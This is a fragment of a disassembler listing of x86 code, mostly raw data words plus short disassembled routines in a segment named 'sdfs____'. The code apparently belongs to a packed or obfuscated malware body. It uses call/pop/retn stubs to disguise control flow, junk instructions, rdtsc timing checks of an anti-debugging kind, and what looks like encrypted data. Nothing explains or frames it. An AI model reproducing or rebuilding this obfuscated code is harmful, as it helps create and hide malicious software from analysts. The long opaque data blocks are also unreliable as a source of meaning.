0CE9h, 89632B00h dd 0CA067250h, 4EBD957Ah, 0B995FFCFh, 6A07E90Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 773FC357h, 63F9BB9Dh, 2A719D89h, 9D8B07E9h, 7E90261h dd 0D72C8D8Dh, 6A07ECh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 50935FC3h, 77204F1Ch, 0F9E24A94h dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 893C76C3h, 33F1AC7Bh, 0F5C5ED78h, 1B69BD83h dd 0F0107E9h, 9885h, 0B5295200h, 7E92AE5h, 6A026A5Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 89CFC350h, 0E90F558Dh, 0F509007h, 0A83h, 0F38B6000h dd 850Fh, 90610000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 43C35343h, 0D949A581h, 0CF9004ADh, 81665602h dd 5F4169CBh, 2CD95FFh, 6A07E9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 34C1F8C3h, 81D1B081h dd 1F0002C3h, 0EE6E916h, 0E80000h, 5D000000h, 1F41ED81h dd 6A07EEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 86B0C0C3h, 0D7B2A24Eh, 7E9h, 0C0742900h dd 69B8FE20h, 0B406858Dh, 6A07ECh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 8DE00BC3h, 0E9339018h dd 90F88B66h, 39CB49BFh, 20BF506Bh, 907866F6h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 91C35747h, 6850F60h dd 81000000h, 0D4FBABF1h, 7F3EBE3Ch, 64612D71h, 35FFh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 24544AC3h, 5F52816Ch, 258964h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0D419C350h, 51CB2B9Fh, 8589CA52h, 7E92C8Dh dd 0F9D85FFh, 0B58907E9h, 7E923D9h, 6AFF6Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 679FC0C3h dd 90E63183h, 0D98B6671h, 0F11B5FFh, 6A07E9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 2B047EC3h dd 0DE8BABEh, 0E8000000h, 93537775h, 1388F3C4h, 0E5AA5C95h dd 263EF381h, 895F6F10h, 0E9099D8Dh, 3D95FF07h, 0E907E923h dd 14Bh, 8C99589h, 858907E9h, 7E90909h, 9D0900B0h, 7E90FA1h dd 816670E6h, 0E417FADBh, 6E971h, 0C3620000h, 8908325Bh dd 68D0Fh, 0BD230000h, 7E91AE9h, 830F613Ch, 10Fh, 8C98589h dd 6E807E9h, 0DF000000h, 796EEBA7h, 299D8B2Fh, 5F07E935h dd 0BFC8B60Fh, 1629AD29h, 6BAh, 0F88B6600h, 9589C18Bh dd 7E930B9h, 8004E8C1h, 0F76666EBh, 2BFE8AE2h, 800F56C8h dd 6, 195DBD23h, 8B5F07E9h, 3DBD2BD1h, 0E907E912h, 0B7h dd 0D8F38160h, 662598F3h, 8B61FE8Bh, 4C4C4485h, 8DB5295Fh dd 8307E91Fh, 8B6007C0h, 0E925A58Dh, 4DB96607h, 0BB66619Ch dd 0C0837E70h, 0FC606000h, 810Fh, 0B2610000h, 850F6196h dd 6, 3039BD8Bh, 0D03B07E9h, 0E830Fh, 85890000h, 7E91CEDh dd 5EE9h, 0FEB70F00h, 0FFFF8D8Bh, 13E8FFFFh, 0E4000000h dd 53170830h, 4365A233h, 0ECE49AD7h, 0DD7C1913h, 0BD093F1Bh dd 7E914FDh, 1E1835Bh, 2D840Fh, 0CE90000h, 54000000h, 59DEF793h dd 0BC6D50AAh, 8385E439h, 0FFFFFFA5h, 9589FEFFh, 7E91391h dd 4C449589h, 0BF665F4Ch, 0E9C37Dh, 8D000000h, 0ED9B8AB5h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0CDF5F7B0h, 0D10757F4h, 45BB3C80h, 6A4F2CA1h dd 13E900h, 983F0000h, 1784A024h, 396437EFh, 2AB12CFCh dd 5E555DA9h, 0FFBF6699h, 3195FFCDh, 6A07E90Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 4265C356h, 2E42EFFCh, 96952D5Ah, 4DB1DB81h, 0D4B959A7h dd 0F000010h, 38Eh, 0F9BF0F00h, 33FCE183h, 0E902E19Dh dd 0BB66FC07h, 0B80836h, 0E8000000h, 9, 9E241E3Fh, 35C364B1h dd 68F0F77h, 81000000h, 57A717EBh, 0BA5B19h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 6B2C356h, 75F0340Ah, 0E66725BBh, 5B58908h dd 0AD07E931h, 0E8D1C233h, 0E983D003h, 89F47504h, 0E91A0985h dd 174BBF07h, 880D048Fh, 0F000000h, 489h, 88BF6600h, 0D958BB4h dd 6A07E932h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0E944C353h, 10h, 0E0707B7Dh, 0C04B6BB8h dd 0B1B52BD1h, 0DF749EF1h, 22E58D8Bh, 6A07E9h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0FFC980C3h, 64E25B53h, 8B5009B3h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 7E8h, 6EC000h, 94CA40A0h, 1611B589h dd 0E95F07E9h, 0Ah, 87F732D8h, 1D4981FFh, 0BD835CDCh, 7E91C2Dh dd 97840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 8C70C352h, 8D891CA0h dd 7E902C5h, 5E8h, 0EB400700h, 9D897301h, 7E92FC5h, 0B85Bh dd 1570000h, 0E918499Dh, 8D8D5F07h, 7E94D5Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0BCC35242h, 422C9ADh dd 0FECA225Fh, 0FB8B6622h, 6AE1FFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 6063B4C3h dd 0F0DF04A2h, 0BD83B576h, 7E922B1h, 0D9840F00h, 6A000004h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 364AC357h, 202EC8A7h, 8B463F1Ch, 0E912E99Dh dd 399D2907h, 8307E924h, 0E922B1BDh, 840F0107h, 4B7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 92C35646h dd 723DBB51h, 8E960F1h, 41000000h, 3684110Ch, 66D50029h dd 50D3D381h, 0F88B6661h, 22B1BD83h, 0F0307E9h, 43C86h dd 32BF6600h, 8870FE2h, 51000000h, 0B768CF81h, 605B523Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B0C35141h dd 9AEA8A67h, 0E8B6B379h, 9, 3B2CDE40h, 31958699h, 619D8960h dd 5F07E930h, 0E9D98C66h, 0Dh, 0FA8EC9E1h, 2FFBA440h, 0AE71E3C5h dd 4E1807Eh, 0C90ADC8Ah, 17E840Fh, 0B5890000h, 7E91661h dd 0C55858Bh, 9D0B07E9h, 7E91B19h, 1CE98533h, 6A07E9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0F49CA6C3h, 38C0Fh, 0BF0F0000h, 0D8B70FF8h, 0FB8B6650h dd 0E9240489h, 0Ah, 0FFD1AC5Bh, 21D3A6EBh, 6A83BFh, 81BD8Bh dd 4E807E9h, 0FF000000h, 0E8001F03h, 0Eh, 0C4165A41h, 0CC5F8E54h dd 0BF2B9308h, 0FE95AADh, 26000000h, 3F5E839Eh, 0E9A13368h dd 8AB8C973h, 505F50C5h, 0FEBB5250h, 0F44D180h, 800F31h dd 5A000000h, 24448B58h, 0C00EBF04h, 8B153Eh, 7E8h, 8DCECA00h dd 0AD062F26h, 5BDE8B50h, 2444895Bh, 58D88A04h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1AC35343h, 0EBEE2F9Eh dd 0EF5BD89h, 5E907E9h, 70000000h, 93A498BFh, 2D995FFh dd 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 35BEACC3h, 16E98A84h, 12C58D01h, 0BF6607E9h dd 8589D917h, 7ECD785h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 15C35545h, 66F5D617h, 918D312Eh, 0E907E920h dd 1E8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0CC35343h, 0E7C6F35Ah, 7B1EEC61h, 0D77D858Bh, 6A07ECh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 9D8B64C3h, 7E91BB9h, 1800C7h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 1A4352C3h dd 8E9F989h, 0EB000000h, 0C65A11EAh, 8B5F61B8h, 0EC8A60D9h dd 3840Fh, 0BF0F0000h, 0B58B61DAh, 7ECD781h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 7FC35646h, 6651B3E3h dd 8B5FD98Bh, 0E9185985h, 689F507h, 98A0Fh, 870F0000h dd 3, 8BD9BF0Fh, 0E90C5585h, 0B19D8B07h, 5007E92Eh, 0CE9h dd 0BC11F400h, 6864C8FDh, 0B20230FEh, 46895F77h, 0A19D3104h dd 5007E923h, 3489DE8Bh, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 947905FFh, 1FB37044h dd 0D77DB5FFh, 8B6607ECh, 9C9C68FBh, 34815837h, 289F6324h dd 14E958h, 47A50000h, 47DE7DD4h, 541A94C7h, 0CFE29CF4h dd 40177FC4h, 858D8EDBh, 7ECD785h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0F6C35646h, 1ABFE2ACh, 6675BA8Dh dd 9D03F98Bh, 7E908E1h, 60525050h, 1F01BA66h, 8D0Fh, 0F610000h dd 0DE931h, 7DA80000h, 0F3C1F14Ah, 44EEBEF7h, 5A1ECB32h dd 24048958h, 0AE8h, 0B9D2D800h, 4E6AD53h, 8174CE53h, 0D2E8C5F7h dd 95FF5F2Ch, 7E902D9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0BDC35747h, 0FFCB8166h, 0A4EF80A0h, 6D9D2361h dd 0C707E92Eh, 0E922B185h, 307h, 85BD8300h, 7ECD7h, 6F840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0F897D0C3h, 0E87D07B3h, 0Bh, 20CE2733h, 4D2C5FCh dd 0E961E00Fh, 7, 1298BDE7h, 5F3F4923h, 1AE58D89h, 41E907E9h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 5A5BC353h, 0BACFD848h, 8B6662BFh dd 0C3050FBh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 6AFAB70Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 8AB2C353h, 92777E77h dd 28E679C7h, 263DBD01h, 0BD8307E9h, 7E922B1h, 62850F03h dd 0E9000004h, 14h, 0D4C9D748h, 0C737484Fh, 73231C84h dd 2059446Bh, 0E932E291h, 0D785BD83h, 0F0007ECh, 43C84h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 54BB6279h, 67EC9877h, 0FE8AE3C6h, 0EE8h dd 90BE6100h, 79425039h, 5CF1DFCBh, 231A5826h, 0E919A99Dh dd 9D095B07h, 7E91EE9h, 0D785B5FFh, 95FF07ECh, 7E91349h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 48C35040h dd 8BBB54DFh, 0ECD779B5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0AFFE015Ch dd 0B98D293Fh, 0C707E90Eh, 1000106h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 6096BAD8h dd 58565250h, 37B1310Fh, 0F08B585Ah, 0BE95061h, 0E0000000h dd 0DD91559Eh, 0C310915Eh, 0BB961B01h, 555E8599h, 99D8B60h dd 0F507E916h, 85B5FF61h, 0E907ECD7h, 0Eh, 919B619Ch, 55FFBBABh dd 0E169E1F8h, 95FFECA8h, 7E91AB1h, 79B58BF8h, 6A07ECD7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8B04C350h, 0E9244985h, 2620BF07h, 868964F1h dd 0C4h, 320D958Bh, 6A07E9h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 6A0D35C3h, 6684D6D4h dd 835C04BBh, 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 226970C3h, 64EB8166h, 205089ACh dd 0ECA1858Dh, 6A07ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 8B6012C3h, 0E91D29B5h, 6E907h, 24310000h dd 30D3876Bh, 0B8868961h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0BC6DC352h dd 8985E439h, 0E92615B5h, 0D8B70F07h, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 5B9946C3h, 0C91B1700h, 858930F0h, 7E908E1h, 0D785B5FFh dd 6A07ECh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0CD444FC3h, 91B50B4Dh, 6E9h, 0C0AD5D00h dd 0FF9A42E3h, 0E902CD95h, 48F0F07h, 66000000h, 0F6002BFh dd 48Ch, 5B515700h, 0B750965Bh, 9D019690h, 7E9092Dh, 0D785B5FFh dd 6A07ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 80C20BC3h, 0A9D3EE87h, 8D893A14h, 7E92E4Dh dd 2D95FFFCh, 6A07E930h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0B03DC356h, 1EC9BD83h dd 0F0007E9h, 4484h, 8E0F6000h, 4 dd 7E1EBB66h, 6800Fh, 95890000h, 7E92971h, 12E85061h, 0FB000000h dd 7C4AB636h, 2F93EC64h, 3764654Dh, 13836943h, 8B6653A6h dd 895F5BDAh, 830F2434h, 5, 0B2F78166h, 85B5FF8Dh, 6A07ECD7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0CC30C356h, 7FEE3B8Bh, 0BFD11511h, 4D2A125Ch dd 0EE19589h, 95FF07E9h, 7E91F9Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0F2C35343h, 85B5FFB4h, 6A07ECD7h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 18DC351h, 0E9210595h, 0DDBD3307h, 0FF07E90Fh dd 0E9013995h, 0BE907h, 0E1D30000h, 2EE53CF2h, 9FCFE33Bh dd 0CDBD837Ch, 207E929h, 33840Fh, 81660000h, 8BD07BD7h dd 0E9087585h, 13E907h, 3990000h, 73BA1B92h, 8DC33C50h dd 8F06F149h, 7B66E803h, 0C683h, 0E58D8960h, 6607E917h dd 59A4EE81h, 0AD85C761h, 7E924h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0BB11C357h, 4DA6BDFDh, 60F98B66h, 1D299D8Bh, 8D8907E9h dd 7E91BFDh, 0F232E961h, 8BF8FFFFh, 0C59D8BC1h, 6007E908h dd 0E3D8D89h, 61FC07E9h, 861858Dh, 6A07E9h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0A75A28C3h dd 88602FCh, 8A0F509Dh, 13h, 6E95250h, 9000000h, 499ADA14h dd 60310F00h, 89585A61h, 890F2404h, 6, 0A8F7F781h, 6A7ABEh dd 6A006AFCh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0D843C355h, 8B0824C0h, 0E90935BDh dd 2E858D07h, 6A07EE30h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 688CC355h, 68E0FF6h dd 8B000000h, 0E908F5BDh, 5C08307h, 6850Fh, 0BD890000h dd 7E91AC5h, 0BF665090h, 505F0A3Ah, 0DE9h, 0AA478B00h dd 0AB5AD43Eh, 66E6DF4Ah, 6A903B99h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 8036C357h dd 4725C1EBh, 0F140E8BBh, 0CD85891Ah, 6A07E90Dh, 29006A00h dd 0E930699Dh, 0B995FF07h, 0B707E90Fh, 2C8D8D90h, 6A07ECD7h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0A89DC357h, 0EE998h, 41020000h, 0F13D88CDh dd 8B4198D2h, 4CA2581Eh, 0BD8BD1FFh, 7E90155h, 0FE9h, 3C356600h dd 87162FF6h, 0CB253DD4h, 0AE7D64FBh, 1B69BD83h, 0F0107E9h dd 9785h, 4995BF00h, 0BD8B68A0h, 7E91385h, 6A026Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0C812C7C3h, 0FCE6F253h, 0BF66FA8Bh, 0BB50F55Fh, 5E11EABEh dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0B754C353h, 85CA5300h, 0D56DCBB7h dd 0D3FF9BBBh, 0CD95FF07h, 6A07E902h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 689AC353h dd 0B2ADF81h, 0CF8138AFh, 30812B66h, 0DF1E9h, 0E800h, 815D0000h dd 0EE3038EDh, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 99B52929h, 8D07E91Fh dd 0ECB40685h, 9D9D3307h, 5007E922h, 53565250h, 310F5F5Fh dd 4187BF66h, 489585Ah, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0ED632F89h, 81983F4Eh dd 466E58C3h, 0F535319h, 8Dh, 645B5F00h, 35FFh, 64F50000h dd 2589h, 9D8B0000h, 7E92541h, 0F9D85FFh, 6A07E9h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8B0FFAC3h, 6, 16E19531h, 0FF6A07E9h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 15h, 0CCC35646h, 0FE96022h dd 78000000h, 0A72B5B7Ah, 39391B67h, 0F3F9ABBFh, 0FF619AAFh dd 0E91A89B5h, 0D8BF0F07h, 233D95FFh, 3DE907E9h, 89000001h dd 0E90DED85h, 6600B007h, 70E6FE8Bh, 8E9h, 0ED646B00h dd 4B1FCB39h, 8971E444h, 0E902A9BDh, 0F613C07h, 11383h dd 9E900h, 0C1180000h, 454407D4h, 0F023F78h, 0B89h, 58B0F00h dd 66000000h, 0D70BDF81h, 66C8B60Fh, 0BAF393BFh, 6, 15799D89h dd 0C18B07E9h, 1899D8Bh, 0E8C107E9h, 859D8B04h, 8007E934h dd 0F7668FD3h, 759D89E2h, 2B07E90Ch, 6870FC8h, 1000000h dd 0E9088195h, 0E9D18B07h, 0Ah, 9CBF54C3h, 4DAD58DFh, 0A1E91CEBh dd 89000000h, 0E9208585h, 50858B07h, 8B47554Ch, 0E908E19Dh dd 7C08307h, 15E5BD8Bh, 0C08307E9h, 11E900h, 0CCB50000h dd 27CF5B1Eh, 0EC42F5EAh, 74D173F1h, 3BF78B08h, 33830FD0h dd 0E8000000h, 14h, 6D382470h, 224C83D4h, 20C07429h, 0BA69B8FEh dd 0C0335989h, 68B0Fh, 0BD8B0000h, 7E90BE9h, 3AE95Fh, 8B520000h dd 0E916419Dh, 8D8B5F07h, 0FFFFFFFFh, 8197BB66h, 0F01E183h dd 1F84h, 0E59D8B00h, 8307E919h, 0FFFFFFA5h, 89F9FEFFh dd 554C5095h, 899D8B47h, 0E907E92Bh, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7EDAC5Eh] push 0 call dword ptr [ebp+7E90C31h] mov [ebp+7E91841h], edi jmp loc_5D7061 ; --------------------------------------------------------------------------- push es std pop edx pop edx mov cl, 68h movsd mov edx, 51DB39DDh retn 0EAFEh ; --------------------------------------------------------------------------- dd 8486D6B6h ; --------------------------------------------------------------------------- lodsd loc_5D7061: ; CODE XREF: sdfs____:005D7048j mov ecx, 0F23h push 0 push eax call sub_5D7071 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7071 proc near ; CODE XREF: sdfs____:005D7069p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5D7071 endp ; --------------------------------------------------------------------------- mov ah, dl cmp al, 67h xchg eax, esi fnstsw word ptr [ebp+2Dh] scasb and ecx, 0FFFFFFFCh call sub_5D7099 push ebx lodsb test eax, 0E25C0D3Fh ; =============== S U B R O U T I N E ======================================= sub_5D7099 proc near ; CODE XREF: sdfs____:005D708Dp mov [ebp+7E92AC9h], esi pop edi cld push 0 push ebx call sub_5D70AC and [ebx-3Dh], bl sub_5D7099 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D70AC proc near ; CODE XREF: sub_5D7099+Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5D70AC endp ; --------------------------------------------------------------------------- mov cl, 2Ah test eax, 995E555Dh add dword ptr [ebx-80h], 0FFFFFFCBh cwde mov eax, 0 push 0 push eax call sub_5D70D8 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D70D8 proc near ; CODE XREF: sdfs____:005D70D0p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5D70D8 endp ; --------------------------------------------------------------------------- dd 0BBE0E91Ch, 57F2EAD2h, 3219BD29h, 0BA5B07E9h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5D7107 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7107 proc near ; CODE XREF: sdfs____:005D70FFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5D7107 endp ; --------------------------------------------------------------------------- db 12h dd 0B6A0A626h, 0FB9A9C0Ch, 0C233AD75h, 0D003E8D1h, 7504E983h dd 9D89F5F4h, 7E92DD5h, 0B819D8Bh, 880D07E9h, 31000000h dd 0E917ED85h, 0D958B07h, 6A07E932h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 43A9C356h dd 280FBCFBh, 8B150E88h, 0E922E58Dh, 0C28B5007h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 42F1C350h dd 0E9EE9D90h, 0AFB2EA12h, 6AFB8Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 6FE686C3h dd 6EF0E75Fh, 150D9D8Bh, 0BD8307E9h, 7E91C2Dh, 23840F00h dd 8B000000h, 0E90711BDh, 0B807h, 95010000h, 7E93591h dd 4D5A8D8Dh, 0BD8B07E9h, 7E90235h, 0BF66E1FFh, 0BD83616Bh dd 7E922B1h, 0E1840F00h, 80000004h, 0BD8374F3h, 7E922B1h dd 0EC840F01h, 52000004h, 7425C381h, 835F7A6Fh, 0E922B1BDh dd 860F0307h, 4A1h, 10E9h, 60092500h, 2A2811C8h, 2926DF8Ah dd 761405D0h, 6A6021h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F880BDC3h, 6AD98C66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0CB17C357h, 75ADB00Dh, 23C57A9Ah, 0E919B19Dh, 4E18007h dd 99D8D89h, 0C90A07E9h, 192840Fh, 890F0000h, 0 ; --------------------------------------------------------------------------- mov eax, [ebp+7E90C55h] push 0 push eax call sub_5D72C1 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D72C1 proc near ; CODE XREF: sdfs____:005D72B9p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5D72C1 endp ; --------------------------------------------------------------------------- pop ebx mov eax, ds:0DFBF0F81h xor eax, [ebp+7E91CE9h] push 0 push ebx call sub_5D72E8 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D72E8 proc near ; CODE XREF: sdfs____:005D72E0p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5D72E8 endp ; --------------------------------------------------------------------------- dd 1D2181A7h, 81516F64h, 46A9E4DBh, 0E8505B4Dh, 0Bh, 117C2D4Bh dd 0C7E00554h, 0E90F6997h, 6, 0EE3D7FEAh, 895F1C49h, 6A2404h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 96B57EC3h, 0A82E8053h, 6A49ACF3h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0F96DA781h dd 29D1F781h, 4E80957h, 0FF000000h, 0E8001F03h, 0Fh, 0B6D9700Ah dd 803861FBh, 6774E65Dh, 0E88589DEh, 14h, 0B1A86CDDh, 0BE761B4Eh dd 8DB4ADFh, 8909DC58h, 0E468BA8Eh, 310F5250h, 5B5F585Ah dd 8B525050h, 52310FDEh, 5BF98B66h, 448B585Ah, 0A4B30424h dd 0F8BB008Bh, 89763DD2h, 58042444h, 0FFD98B66h, 0E902D995h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 31B9E0B7h, 0E919099Dh, 85858907h, 6A07ECD7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 17A1C355h, 520D2D82h, 42E919AEh, 0E9000002h dd 0Ch, 29C187F9h, 71207969h, 96E8136Dh, 0D77D858Bh, 0BD8B07ECh dd 7E91B75h, 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 1AE8AC3h, 0BF66FC58h dd 0B58B14EEh, 7ECD781h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 70C35343h, 6FF1D0F5h, 232BD3BBh, 59858B7Eh dd 8107E918h, 112000D7h, 699D0328h, 8907E902h, 0ADBD2906h dd 8B07E92Ah, 0E90C5585h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 589D8227h dd 890F715Bh, 18h, 13E9h, 0F927B400h, 0A9FD0FB7h, 0CFE07DEEh dd 8E1FE852h, 0B6B44FF0h, 97CE8160h, 0F526AF9h, 689h, 840F00h dd 61000000h, 81044689h, 7994C3EFh, 0AE85016h, 70000000h dd 39F28C3Ah, 3AA8EF82h, 50525094h, 5A310F52h, 5A310F58h dd 34895F58h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0E3FA831Ah, 0B5FFE43Ch, 7ECD77Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DCC35747h dd 1C16A20Ah, 55302755h, 8BF88B93h, 0E912819Dh, 4E807h dd 3FF0000h, 5660001Fh, 0AF2B90BEh, 800F5961h, 5, 17432EBEh dd 0E950615Dh, 0Fh, 0E3BD284Ah, 38A83DE9h, 355F8D31h, 8BAB166Bh dd 0BB042444h, 70D96919h, 8B66008Bh, 244489DAh, 5E904h dd 0BFB30000h, 58E88FE5h, 0D68B60F8h, 13E8h, 0CA04EF00h dd 0D3DA3F80h, 35CD9C95h, 625C6D1h, 8559637Bh, 615AF78Ah dd 0D785858Dh, 0BF0F07ECh, 0C0BB90D8h, 5017E7F4h, 90F98B66h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0DEC35040h dd 908B1336h, 95FF34ACh, 7E902D9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 50C35545h, 9D19D2F8h, 0F4FBFFDh dd 0C81h, 68B0F00h, 89000000h, 0E90E0D8Dh, 6A6107h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 66BCCDC3h, 490FE381h, 22B185C7h, 307E9h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 95894DC3h, 7E92B41h, 0D785BD83h, 0F0007ECh, 1084h, 499D8B00h dd 